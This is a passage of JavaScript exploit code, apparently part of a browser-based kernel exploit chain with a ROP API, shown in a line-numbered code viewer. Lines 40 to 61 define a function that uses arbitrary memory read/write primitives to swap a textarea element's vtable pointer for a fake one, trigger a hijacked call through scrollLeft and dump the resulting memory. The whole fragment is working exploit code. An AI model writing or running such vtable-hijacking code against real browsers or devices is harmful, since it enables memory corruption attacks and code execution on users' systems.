()
| 40 | var pthread_create_addr = libkernel_base+0x24e10; |
| 41 | |
| 42 | function saveall() |
| 43 | { |
| 44 | var ans = malloc(0x800); |
| 45 | var bak = read_ptr_at(fake_vtable+0x1d8); |
| 46 | write_ptr_at(fake_vtable+0x1d8, saveall_addr); |
| 47 | write_ptr_at(addrof(tarea)+0x18, fake_vt_ptr); |
| 48 | tarea.scrollLeft = 0; |
| 49 | write_ptr_at(addrof(tarea)+0x18, real_vt_ptr); |
| 50 | write_mem(ans, read_mem(fake_vt_ptr, 0x400)); |
| 51 | write_mem(fake_vt_ptr, read_mem(fake_vt_ptr_bak, 0x400)); |
| 52 | var bak = read_ptr_at(fake_vtable+0x1d8); |
| 53 | write_ptr_at(fake_vtable+0x1d8, saveall_addr); |
| 54 | write_ptr_at(fake_vt_ptr+0x38, 0x1234); |
| 55 | write_ptr_at(addrof(tarea)+0x18, fake_vt_ptr); |
| 56 | tarea.scrollLeft = 0; |
| 57 | write_ptr_at(addrof(tarea)+0x18, real_vt_ptr); |
| 58 | write_mem(ans+0x400, read_mem(fake_vt_ptr, 0x400)); |
| 59 | write_mem(fake_vt_ptr, read_mem(fake_vt_ptr_bak, 0x400)); |
| 60 | return ans; |
| 61 | } |
| 62 | |
| 63 | /* PUBLIC ROP API |
| 64 |
nothing calls this directly
no test coverage detected